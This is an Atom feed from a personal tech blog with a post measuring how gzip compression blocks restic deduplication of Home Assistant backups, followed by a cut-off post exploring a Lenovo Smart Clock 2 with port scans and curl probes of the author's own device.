<?xml version="1.0" encoding="utf-8"?>


<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
    <title type="text">Habbie&#39;s journal</title>
    <subtitle type="html">Habbie&#39;s journal</subtitle>
    <updated>2024-07-08T19:17:14&#43;02:00</updated>
    <id>https://7bits.nl/journal/</id>
    <link rel="alternate" type="text/html" href="https://7bits.nl/journal/" />
    <link rel="self" type="application/atom&#43;xml" href="https://7bits.nl/journal/atom.xml" />
    <author>
            <name>Peter van Dijk</name>
            <uri>https://7bits.nl/</uri>
            
                <email>peter@7bits.nl</email>
            </author>
    <rights>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en)</rights>
    <generator uri="https://gohugo.io/" version="0.125.3">Hugo</generator>
        <entry>
            <title type="text">Home Assistant backups, restic, gzip’s rsyncable flag</title>
            <link rel="alternate" type="text/html" href="https://7bits.nl/journal/posts/home-assistant-backups-and-restic/" />
            <id>https://7bits.nl/journal/posts/home-assistant-backups-and-restic/</id>
            <updated>2024-07-08T19:17:02&#43;02:00</updated>
            <published>2024-07-08T18:59:50&#43;02:00</published>
            <author>
                    <name>Peter van Dijk</name>
                    <uri>https://7bits.nl/journal/</uri>
                    <email>peter@7bits.nl</email>
                    </author>
            <rights>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en)</rights><summary type="html">tl;dr: if gzip and restic interact anywhere for you, you should consider passing --rsyncable to gzip, or not using gzip at all.
tl;dr2: Click here to read the summary right now.
Like many people, I have a Home Assistant installation. Mine does not control many things, but it collects a lot from various sensors and devices around the house.</summary>
            
                <content type="html">&lt;p&gt;tl;dr: if &lt;code&gt;gzip&lt;/code&gt; and &lt;code&gt;restic&lt;/code&gt; interact anywhere for you, you should consider passing &lt;code&gt;--rsyncable&lt;/code&gt; to &lt;code&gt;gzip&lt;/code&gt;, or not using gzip at all.&lt;/p&gt;
&lt;p&gt;tl;dr2: &lt;a href=&#34;https://7bits.nl/journal/posts/home-assistant-backups-and-restic/#summary&#34;&gt;Click here to read the summary right now&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Like many people, I have a &lt;a href=&#34;https://www.home-assistant.io/&#34;&gt;Home Assistant&lt;/a&gt; installation.
Mine does not control many things, but it collects a lot from various sensors and devices around the house.
Besides Home Assistant&amp;rsquo;s own database with short and long term storage, I use &lt;a href=&#34;https://www.influxdata.com/&#34;&gt;InfluxDB&lt;/a&gt; as HA addon.
This means that HA backups are also InfluxDB backups.&lt;/p&gt;
&lt;p&gt;Over the course of a few years I have, apparently, collected 354 Home Assistant backups in a &lt;a href=&#34;https://restic.net/&#34;&gt;restic&lt;/a&gt; repository.
The oldest one is around 300 MB; the newest, 1.4GB.&lt;/p&gt;
&lt;h1 id=&#34;background&#34;&gt;Background&lt;/h1&gt;
&lt;p&gt;Home Assistant backups look like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ssh root@XX

| |  | |                          /\           (_)   | |            | |  
| |__| | ___  _ __ ___   ___     /  \   ___ ___ _ ___| |_ __ _ _ __ | |_ 
|  __  |/ _ \| &amp;#39;_ \ _ \ / _ \   / /\ \ / __/ __| / __| __/ _\ | &amp;#39;_ \| __|
| |  | | (_) | | | | | |  __/  / ____ \\__ \__ \ \__ \ || (_| | | | | |_ 
|_|  |_|\___/|_| |_| |_|\___| /_/    \_\___/___/_|___/\__\__,_|_| |_|\__|

Welcome to the Home Assistant command line.

[core-ssh ~]$ cd backup
[core-ssh backup]$ ls -al
total 10583052
drwxr-xr-x    3 root     root          4096 Jul  6 00:00 .
drwxr-xr-x    1 root     root          4096 Jul  4 13:22 ..
-rw-r--r--    1 root     root     1559705600 Jul  3 00:00 277e0264.tar
-rw-r--r--    1 root     root     1559388160 Jul  2 00:00 3456e3c7.tar
-rw-r--r--    1 root     root     1558886400 Jul  1 00:00 4303e28c.tar
-rw-r--r--    1 root     root     1560238080 Jul  4 00:00 77a4287d.tar
-rw-r--r--    1 root     root     1557125120 Jun 30 00:00 7b821e1e.tar
-rw-r--r--    1 root     root     1522309120 Jul  6 00:00 d6400715.tar
-rw-r--r--    1 root     root     1519339520 Jul  5 00:00 f0eba8bf.tar
[core-ssh backup]$ tar tvf 277e0264.tar 
-rw-r--r-- 0/0     10510 2024-07-03 00:00:02 core_ssh.tar.gz
-rw-r--r-- 0/0      1800 2024-07-03 00:00:02 a0d7b954_aircast.tar.gz
-rw-r--r-- 0/0      2381 2024-07-03 00:00:02 15ef4d2f_esphome.tar.gz
-rw-r--r-- 0/0 1309290473 2024-07-03 00:00:02 a0d7b954_influxdb.tar.gz
-rw-r--r-- 0/0  36485918 2024-07-03 00:00:41 a0d7b954_tautulli.tar.gz
-rw-r--r-- 0/0     52714 2024-07-03 00:00:43 a0d7b954_grafana.tar.gz
-rw-r--r-- 0/0      2008 2024-07-03 00:00:43 a0d7b954_wireguard.tar.gz
-rw-r--r-- 0/0      1905 2024-07-03 00:00:43 a0d7b954_nodered.tar.gz
-rw-r--r-- 0/0      1560 2024-07-03 00:00:43 a0d7b954_chrony.tar.gz
-rw-r--r-- 0/0      2031 2024-07-03 00:00:43 a0d7b954_ssh.tar.gz
-rw-r--r-- 0/0      2422 2024-07-03 00:00:43 core_mosquitto.tar.gz
-rw-r--r-- 0/0 213812233 2024-07-03 00:00:43 homeassistant.tar.gz
-rw-r--r-- 0/0       205 2024-07-03 00:00:54 share.tar.gz
-rw-r--r-- 0/0       212 2024-07-03 00:00:54 addons_local.tar.gz
-rw-r--r-- 0/0      1961 2024-07-03 00:00:54 ssl.tar.gz
-rw-r--r-- 0/0       288 2024-07-03 00:00:54 media.tar.gz
-rw-r--r-- 0/0      1440 2024-07-03 00:00:53 ./backup.json
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Each backup is a tarball, containing a bunch of &lt;code&gt;tar.gz&lt;/code&gt; files, including one for each addon, such as &lt;code&gt;influxdb&lt;/code&gt;.
The oldest influxdb backup is 513MB; the newest, 1.2GB.
Clearly Influx is the bulk of my backup data.
But Influx is my archive.
It barely changes, it just grows a bit.
I would love for it to dedup a bit in restic storage!&lt;/p&gt;
&lt;p&gt;Those 354 backups, all sitting together in a directory as 354 &lt;code&gt;.tar&lt;/code&gt; files, take up 291GB of disk space.
A restic repository holding those 354 backups, with compression and deduplication enabled .. take up 291GB of disk space. There is effectively no compression (which is expected, because there&amp;rsquo;s &lt;code&gt;.gz&lt;/code&gt; inside already), and no dedup (which is the sad surprise this article is about):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ restic -r ha-snapshots-all-together-restic/ stats --mode=raw-data
repository ed03b8ed opened (version 2, compression level auto)
Stats in raw-data mode:
     Snapshots processed:  1
        Total Blob Count:  199240
 Total Uncompressed Size:  289.952 GiB
              Total Size:  288.845 GiB
    Compression Progress:  100.00%
       Compression Ratio:  1.00x
Compression Space Saving:  0.38%
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;(The alert reader will notice that I only have one snapshot.
I am assuming that restic dedup works as well within one snapshot as between snapshots, so I simplified the experiment by just backing up the one dir full of tars directly.
My actual backup repository - the source of all these tarballs - has these 354 tarballs spread out over a few hundred snapshots, but with similar results: effectively no dedup).&lt;/p&gt;
&lt;p&gt;It seems obvious that the &lt;code&gt;.gz&lt;/code&gt; in the tarball stack is the reason restic cannot dedup.
(Spoiler alert: it is).
Let&amp;rsquo;s find out how we can improve that.&lt;/p&gt;
&lt;p&gt;I have extensive notes on the steps I took to get all these numbers, so please feel free to ask questions.&lt;/p&gt;
&lt;h1 id=&#34;unpack-the-tarballs-once&#34;&gt;Unpack the tarballs once&lt;/h1&gt;
&lt;p&gt;I unpacked the tarballs once.
In the process, I found some of the tarballs were corrupted and/or truncated.
This has introduced around 1-2GB of noise into these measurements.
I believe this to be irrelevant to the end result.
(To be clear, I think the tarball truncation is my own fault, and not a problem in HA.
I keep forgetting that &lt;code&gt;rsync -P&lt;/code&gt; includes &lt;code&gt;--partial&lt;/code&gt; and most likely moved some backups from HA to restic via an undersized intermediate filesystem.)&lt;/p&gt;
&lt;p&gt;My source now looks like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ha-snapshots-unpacked-once$ find . | head
.
./cff234c8.tar
./cff234c8.tar/15ef4d2f_esphome.tar.gz
./cff234c8.tar/a0d7b954_nodered.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;etc.&lt;/p&gt;
&lt;p&gt;This takes up 291GB of disk space, and restic manages to squeeze it into 289GB.&lt;/p&gt;
&lt;p&gt;Clearly the outside tar layer is not the problem.&lt;/p&gt;
&lt;h1 id=&#34;decompress&#34;&gt;Decompress&lt;/h1&gt;
&lt;p&gt;I &lt;code&gt;gunzip&lt;/code&gt;ed all the &lt;code&gt;.gz&lt;/code&gt; files.
Looks like this (funny how the order of files has changed):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ha-snapshots-unpacked-twice$ find . | head
.
./cff234c8.tar
./cff234c8.tar/core_ssh.tar
./cff234c8.tar/share.tar
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;etc.&lt;/p&gt;
&lt;p&gt;This takes up a whopping 713GB of disk space.
Restic packs it down to 40GB.&lt;/p&gt;
&lt;p&gt;Forty. Gigabyte.&lt;/p&gt;
&lt;p&gt;If I am reading this correctly:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;     Snapshots processed:  1
        Total Blob Count:  211179
 Total Uncompressed Size:  140.975 GiB
              Total Size:  39.799 GiB
    Compression Progress:  100.00%
       Compression Ratio:  3.54x
Compression Space Saving:  71.77%
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;deduplication stored 713GB in 141GB.
Compression then gave us another 100GB.&lt;/p&gt;
&lt;p&gt;It turns out (unsurprisingly, I guess) that this is the best number we are going to get.&lt;/p&gt;
&lt;h1 id=&#34;gzips-rsyncable-flag&#34;&gt;gzip&amp;rsquo;s rsyncable flag&lt;/h1&gt;
&lt;p&gt;At some point, I ran into a blog post that mentioned that restic was smart about dedup, and did not need things to be identical at block boundaries.
This reminded me of &lt;code&gt;gzip --rsyncable&lt;/code&gt;.
Martin Pool &lt;a href=&#34;https://rsync.samba.org/rsync-and-debian/rsync-and-debian.html#ss3.1&#34;&gt;describes it well&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;There is a patch called &lt;code&gt;--rsyncable&lt;/code&gt; for gzip that fixes this behaviour: gzip files are basically broken up into blocks so that changes (including insertion or deletion) in the input file affect only the corresponding blocks in the output file. (The blocks are not of fixed size, but rather delimited by marker patterns at which a checksum hits a particular value, so they move as data is inserted or removed.)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;So, I recompressed all inside tarballs with &lt;code&gt;gzip --rsyncable -9&lt;/code&gt;.
I used &lt;code&gt;-9&lt;/code&gt; because the couple of HA backups I checked manually reported &lt;code&gt;max compression&lt;/code&gt; when inspected with &lt;code&gt;file&lt;/code&gt;.
I later found out that in late 2023, &lt;a href=&#34;https://github.com/pvizeli/securetar/commit/049f917bc3f9c99aa679f5ea48a32504db5529bd&#34;&gt;HA stopped using max compression&lt;/a&gt;.
Me doing &lt;code&gt;-9&lt;/code&gt; while HA no longer does it will skew these numbers a bit, but not in any interesting way I think.&lt;/p&gt;
&lt;p&gt;My source looks like this:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ha-snapshots-unpacked-twice-repack-gzip-rsyncable$ find . | head
.
./cff234c8.tar
./cff234c8.tar/15ef4d2f_esphome.tar.gz
./cff234c8.tar/a0d7b954_nodered.tar.gz
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;It takes up 289GB of disk space, almost identical to our starting size.&lt;/p&gt;
&lt;p&gt;Restic stores it in 58 GB:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Stats in raw-data mode:
     Snapshots processed:  1
        Total Blob Count:  41780
 Total Uncompressed Size:  59.175 GiB
              Total Size:  57.681 GiB
    Compression Progress:  100.00%
       Compression Ratio:  1.03x
Compression Space Saving:  2.52%
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In other words: if we could patch Home Assistant to make rsyncable gzips, my backup storage would go from 290GB to 58GB.
That&amp;rsquo;s not my earlier 40GB mark, but it is a very nice improvement, and it would come at only little cost to users who do not store their backups in restic or something else that dedups and compresses.&lt;/p&gt;
&lt;p&gt;Curious about the actual effects of &lt;code&gt;--rsyncable&lt;/code&gt;, I did a comparison on a single InfluxDB backup:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;source&lt;/th&gt;
&lt;th&gt;result&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;from HA&lt;/td&gt;
&lt;td&gt;&lt;code&gt;772M    ha-snapshots-unpacked-once/3bf092f5.tar/a0d7b954_influxdb.tar.gz&lt;/code&gt; (&lt;code&gt;file&lt;/code&gt; says &lt;code&gt;max compression&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gzip -9&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;772M    a0d7b954_influxdb.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gzip -9 --rsyncable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;779M    a0d7b954_influxdb.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;gzip --rsyncable&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;787M    ha-snapshots-unpacked-twice-repack-gzip-rsyncable/3bf092f5.tar/a0d7b954_influxdb.tar.gz&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;after gunzip&lt;/td&gt;
&lt;td&gt;&lt;code&gt;1.8G    ha-snapshots-unpacked-twice/3bf092f5.tar/a0d7b954_influxdb.tar&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Observations:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;gzip -9&lt;/code&gt; matches the original size (this is a backup from 2023)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-9 --rsyncable&lt;/code&gt; is about 1% bigger than just &lt;code&gt;-9&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h1 id=&#34;tar-it-up-again&#34;&gt;tar it up again&lt;/h1&gt;
&lt;p&gt;At this point, somebody asked me about block boundaries, and I said that my understanding was that restic did not care about them that much for dedup.
But just to be sure, I did the -actual- experiment of what things would look like if HA made rsyncable &lt;code&gt;.gz&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Source looks like this now:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;ha-snapshots-unpacked-twice-repack-gzip-rsyncable-tar$ ls | head
00cceeff.tar
0123b63e.tar
03a06fae.tar
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Presumably, HA should be able to restore from these files (except for the fact that I accidentally also gzipped the 2KB &lt;code&gt;backup.json&lt;/code&gt; file HA sticks in each backup with some metadata).&lt;/p&gt;
&lt;p&gt;This, again, takes up 289 GB.&lt;/p&gt;
&lt;p&gt;Restic stores it in 56 GB:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Stats in raw-data mode:
     Snapshots processed:  1
        Total Blob Count:  37018
 Total Uncompressed Size:  57.161 GiB
              Total Size:  55.742 GiB
    Compression Progress:  100.00%
       Compression Ratio:  1.03x
Compression Space Saving:  2.48%
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I cannot explain how this is 2 GB smaller than the previous mode.&lt;/p&gt;
&lt;h1 id=&#34;table-of-results&#34;&gt;Table of results&lt;/h1&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;format&lt;/th&gt;
&lt;th&gt;source size&lt;/th&gt;
&lt;th&gt;restic size&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/home-assistant-backups-and-restic/#background&#34;&gt;354 original HA backups&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;291 GB&lt;/td&gt;
&lt;td&gt;291 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/home-assistant-backups-and-restic/#unpack-the-tarballs-once&#34;&gt;untar once&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;291 GB&lt;/td&gt;
&lt;td&gt;289 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/home-assistant-backups-and-restic/#decompress&#34;&gt;untar+gunzip&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;713 GB&lt;/td&gt;
&lt;td&gt;40 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/home-assistant-backups-and-restic/#gzips-rsyncable-flag&#34;&gt;untar+gunzip+gzip -9 &amp;ndash;rsyncable&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;289GB&lt;/td&gt;
&lt;td&gt;58 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;a href=&#34;https://7bits.nl/journal/posts/home-assistant-backups-and-restic/#tar-it-up-again&#34;&gt;untar+gunzip+gzip -9 &amp;ndash;rsyncable+tar&lt;/a&gt;&lt;/td&gt;
&lt;td&gt;289 GB&lt;/td&gt;
&lt;td&gt;56 GB&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h1 id=&#34;summary&#34;&gt;Summary&lt;/h1&gt;
&lt;p&gt;Summarised, my results say:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;having HA not compress would cost a bit of disk space temporarily, while allowing restic to save a boatload of space for a long time&lt;/li&gt;
&lt;li&gt;having HA compress in &lt;code&gt;--rsyncable&lt;/code&gt; would cost almost no extra space temporarily, and allow restic to still save a lot of space&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Where I say &amp;ldquo;temporarily&amp;rdquo;, for some users this might be their forever, because they store the backups into non-dedup storage &amp;ndash; or maybe even dedup storage that has different magic dust than restic does.&lt;/p&gt;
&lt;p&gt;A secondary conclusion, of course, is &amp;ldquo;a bit of postprocessing of the HA tarball before it goes into restic provides these benefits too&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;As suggested above, Home Assistant uses &lt;a href=&#34;https://github.com/pvizeli/securetar&#34;&gt;securetar&lt;/a&gt; to generate backups, presumably because backups can optionally be encrypted.
securetar itself relies on &lt;a href=&#34;https://docs.python.org/3/library/tarfile.html&#34;&gt;Python&amp;rsquo;s &lt;code&gt;tarfile&lt;/code&gt;&lt;/a&gt;, which uses the Python &lt;code&gt;gzip&lt;/code&gt; library for compression.
This library does not expose anything like the &lt;code&gt;--rsyncable&lt;/code&gt; flag, sadly.
In &lt;code&gt;gzip --rsyncable&lt;/code&gt;, the implementation of that periodic reset is, and this came as a surprise to me, implemented in the gzip binary, not in the zlib library.&lt;/p&gt;
&lt;h1 id=&#34;next-steps&#34;&gt;Next steps&lt;/h1&gt;
&lt;p&gt;Given that we cannot easily make HA&amp;rsquo;s archives rsyncable, what remains is optionally making them uncompressed.
I added a comment to the &lt;a href=&#34;https://community.home-assistant.io/t/allow-backup-compression-parameters/543960/8&#34;&gt;HA feature request &amp;ldquo;Allow backup compression parameters&amp;rdquo;&lt;/a&gt;.
Please hit the Vote button!&lt;/p&gt;
&lt;p&gt;A bigger job would be to add &lt;code&gt;rsyncable&lt;/code&gt; support to (Python&amp;rsquo;s) zlib.
I suspect this would make a lot of people happy - surely HA&amp;rsquo;s backups are not the only archives people routinely add to restic repositories.&lt;/p&gt;
&lt;p&gt;As an alternative to patching HA, whatever method people use to get those backups into restic could do some processing on the backup to make it more suitable for dedup.&lt;/p&gt;
&lt;p&gt;Also, somebody should write a tool to &amp;ldquo;reformat&amp;rdquo; existing restic repos full of HA tarballs.
In fact, once that tool exists, just running it periodically, with no changes to HA, would also yield all the space saving benefits.&lt;/p&gt;
&lt;p&gt;Extra note: &lt;a href=&#34;https://github.com/rvdm/&#34;&gt;rvdm&lt;/a&gt; pointed out to me that &lt;code&gt;zstd&lt;/code&gt; also has a &lt;code&gt;--rsyncable&lt;/code&gt; flag, and that one -is- exposed as part of the zstd library.
This means that a Python wrapper for that library could offer the flag, and HA could switch to rsyncable zstd, which could be a default that gives us the best of both worlds (decent compression for everybody, and decent dedup for restic users).&lt;/p&gt;
</content>
            
            
            
            
            
                
                    
                
            
        </entry>
    
        <entry>
            <title type="text">Lenovo Smart Clock 2: unboxing and exploration</title>
            <link rel="alternate" type="text/html" href="https://7bits.nl/journal/posts/lenovo-smart-clock-2-unboxing-and-exploration/" />
            <id>https://7bits.nl/journal/posts/lenovo-smart-clock-2-unboxing-and-exploration/</id>
            <updated>2023-03-20T19:17:09&#43;01:00</updated>
            <published>2022-11-30T22:20:12&#43;01:00</published>
            <author>
                    <name>Peter van Dijk</name>
                    <uri>https://7bits.nl/journal/</uri>
                    <email>peter@7bits.nl</email>
                    </author>
            <rights>[CC BY-NC-SA 4.0](https://creativecommons.org/licenses/by-nc-sa/4.0/deed.en)</rights><summary type="html">If you&amp;rsquo;ve seen YouTube unboxing videos, this is not that. There is no video here (although I think unboxing videos are great and more people should do them of more devices!) and what you&amp;rsquo;ll find described below has little to do with direct user experience.</summary>
            
                <content type="html">&lt;p&gt;If you&amp;rsquo;ve seen YouTube unboxing videos, this is not that.
There is no video here (although I think unboxing videos are great and more people should do them of more devices!) and what you&amp;rsquo;ll find described below has little to do with direct user experience.&lt;/p&gt;
&lt;p&gt;The &lt;a href=&#34;https://www.lenovo.com/us/en/p/smart-devices/smart-home/smart-home-series/lenovo-smart-clock-2/wmd00000485&#34;&gt;Lenovo Smart Clock 2&lt;/a&gt; looks like a fun little device.
It is sold as, well, a Smart Clock, but a quick web search clarifies what it is: a MT8167S Android 10 device with WiFi, BlueTooth, a 4 inch IPS 800x400 touch screen, 1 gigabyte of RAM, 8 gigabyte of flash, and apparently a pretty decent speaker.
I managed to snag one at 30 EUR, which seems like a steal for such a device.
Specification wise, it appears to be roughly on par with a Raspberry Pi 3 &amp;mdash; plus, again, WiFi, BT, storage, and a screen.&lt;/p&gt;
&lt;p&gt;As sold, a Google &amp;ldquo;Smart Display&amp;rdquo;, it already seems fun.
If it had line out for audio, it might also be the perfect music player for me.&lt;/p&gt;
&lt;p&gt;However, that is not my primary interest.
Can we make this a nice Home Assistant controller?
A cheap Streamdeck equivalent?
Or, given its specifications, a small home server (for Home Assistant or some other service) that also happens to be a nice looking screen?&lt;/p&gt;
&lt;p&gt;I found two interesting threads on the XDA Forums:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://forum.xda-developers.com/t/lets-get-started-on-the-lenovo-smart-clock-2.4374455/&#34;&gt;Lets get started on the Lenovo Smart Clock 2!&lt;/a&gt; - when I ordered the clock, this thread had a few teardown photos, but by now people have managed to get USB and adb going! I suggest keeping an eye on this thread.&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://forum.xda-developers.com/t/guide-installing-android-apps-on-the-lenovo-smart-clock-2.4393271/&#34;&gt;Guide installing android apps on the lenovo smart clock 2.&lt;/a&gt; - this thread provides a brief guide to install Android apps on the clock, which very quickly extends the possibilities.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I especially enjoyed that second thread.
The guide, as it currently stands there, is good (and functional) but some of the steps seemed entirely alien to me.
In a future post, I will take the method described in it, explain the parts from which that method is composed, and also offer a few new tricks.&lt;/p&gt;
&lt;p&gt;But, that post is not this post.
In this post, I will unpack the clock and dig around in other ways.&lt;/p&gt;
&lt;h1 id=&#34;unpacking&#34;&gt;Unpacking and first explorations&lt;/h1&gt;
&lt;p&gt;The inside of the box greets us with a very sleek looking device with a body covered in a nice fabric.
(Also, a power adapter and a booklet).&lt;/p&gt;
&lt;p&gt;On startup, we are greeted with &lt;a href=&#34;https://g.co/nest/setup&#34;&gt;a very short setup hint&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;firststartup.jpg&#34; alt=&#34;First startup screen&#34;&gt;&lt;/p&gt;
&lt;p&gt;Note that it says &amp;ldquo;Nest&amp;rdquo; !&lt;/p&gt;
&lt;p&gt;My impression is that Google has tied a bunch of device types under a Nest or Nest-like moniker - all the page tells you to do is open the Google Home app anyway.
(Honestly, after starting the Google Home app, I was somewhat lost. The next steps to take could have been outlined more clearly.)&lt;/p&gt;
&lt;p&gt;Now, I did not immediately proceed to follow these instructions.
Clearly the device is, itself, waiting for instructions.
Maybe we can give it some?&lt;/p&gt;
&lt;p&gt;On the screen, we see the current Build version (1.52.257161) and what appears to be some unique device ID (bottom right corner, says &lt;code&gt;LenovoCD-24502F1428&lt;/code&gt;).
At this point, it exposes itself as a Wifi access point with SSID &lt;code&gt;LenovoCD-24502F1428.q003&lt;/code&gt;.
Connecting to it yields us an IP in the &lt;code&gt;192.168.43.0/24&lt;/code&gt; range, with default gateway also set to an IP in the range.
Between reboots, the IP it picks in this range appears to vary.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s some &lt;code&gt;nmap&lt;/code&gt; output:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Starting Nmap 7.80 ( https://nmap.org ) at 2022-11-26 23:26 CET
Nmap scan report for 192.168.43.166 (192.168.43.166)
Host is up (0.084s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE
53/tcp    open  domain
8008/tcp  open  http
8009/tcp  open  ajp13
8443/tcp  open  https-alt
9000/tcp  open  cslistener
10001/tcp open  scp-config
MAC Address: 32:86:AC:C2:02:D6 (Unknown)
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Some quick investigation followed. (Unfold to read.)&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;Port 8008:&lt;/summary&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ curl -v 192.168.43.166:8008
*   Trying 192.168.43.166:8008...
* Connected to 192.168.43.166 (192.168.43.166) port 8008 (#0)
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: 192.168.43.166:8008
&amp;gt; User-Agent: curl/7.74.0
&amp;gt; Accept: */*
&amp;gt; 
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 404 Not Found
&amp;lt; Content-Length:0
&amp;lt; Content-Type:text/html
&amp;lt; 
* Connection #0 to host 192.168.43.166 left intact
&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
&lt;p&gt;Port 8009 closed our connection when we tried to speak HTTP.
No TLS handshake either.&lt;/p&gt;
&lt;details&gt;
&lt;summary&gt;Port 8443 appeared to be quite similar to 8008, but with HTTPS: (note the certificate data)&lt;/summary&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ curl -kv https://192.168.43.166:8443
*   Trying 192.168.43.166:8443...
* Connected to 192.168.43.166 (192.168.43.166) port 8443 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
* successfully set certificate verify locations:
*  CAfile: /etc/ssl/certs/ca-certificates.crt
*  CApath: /etc/ssl/certs
* TLSv1.3 (OUT), TLS handshake, Client hello (1):
* TLSv1.3 (IN), TLS handshake, Server hello (2):
* TLSv1.2 (IN), TLS handshake, Certificate (11):
* TLSv1.2 (IN), TLS handshake, Server key exchange (12):
* TLSv1.2 (IN), TLS handshake, Server finished (14):
* TLSv1.2 (OUT), TLS handshake, Client key exchange (16):
* TLSv1.2 (OUT), TLS change cipher, Change cipher spec (1):
* TLSv1.2 (OUT), TLS handshake, Finished (20):
* TLSv1.2 (IN), TLS handshake, Finished (20):
* SSL connection using TLSv1.2 / ECDHE-RSA-CHACHA20-POLY1305
* ALPN, server did not agree to a protocol
* Server certificate:
*  subject: CN=0838E6334B8C7315FFFF FA:8F:CA:7D:DD:81
*  start date: Mar 10 09:51:23 2021 GMT
*  expire date: Mar  5 09:51:23 2041 GMT
*  issuer: C=CN; ST=BJ; L=Beijing; O=LENOVO; OU=Cast; CN=LENOVO SmartClock Cast AIVision
*  SSL certificate verify result: unable to get local issuer certificate (20), continuing anyway.
&amp;gt; GET / HTTP/1.1
&amp;gt; Host: 192.168.43.166:8443
&amp;gt; User-Agent: curl/7.74.0
&amp;gt; Accept: */*
&amp;gt; 
* Mark bundle as not supporting multiuse
&amp;lt; HTTP/1.1 404 Not Found
&amp;lt; Content-Length:0
&amp;lt; Content-Type:text/html
&amp;lt;
* Connection #0 to host 192.168.43.166 left intact
&lt;/code&gt;&lt;/pre&gt;&lt;/details&gt;
&lt;details&gt;
&lt;summary&gt;Port 9000 speaks TLS but not HTTP(S):&lt;/summary&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ curl -kv https://192.168.43.166:9000
*   Trying 192.168.43.166:9000...
* Connected to 192.168.43.166 (192.168.43.166) port 9000 (#0)
* ALPN, offering h2
* ALPN, offering http/1.1
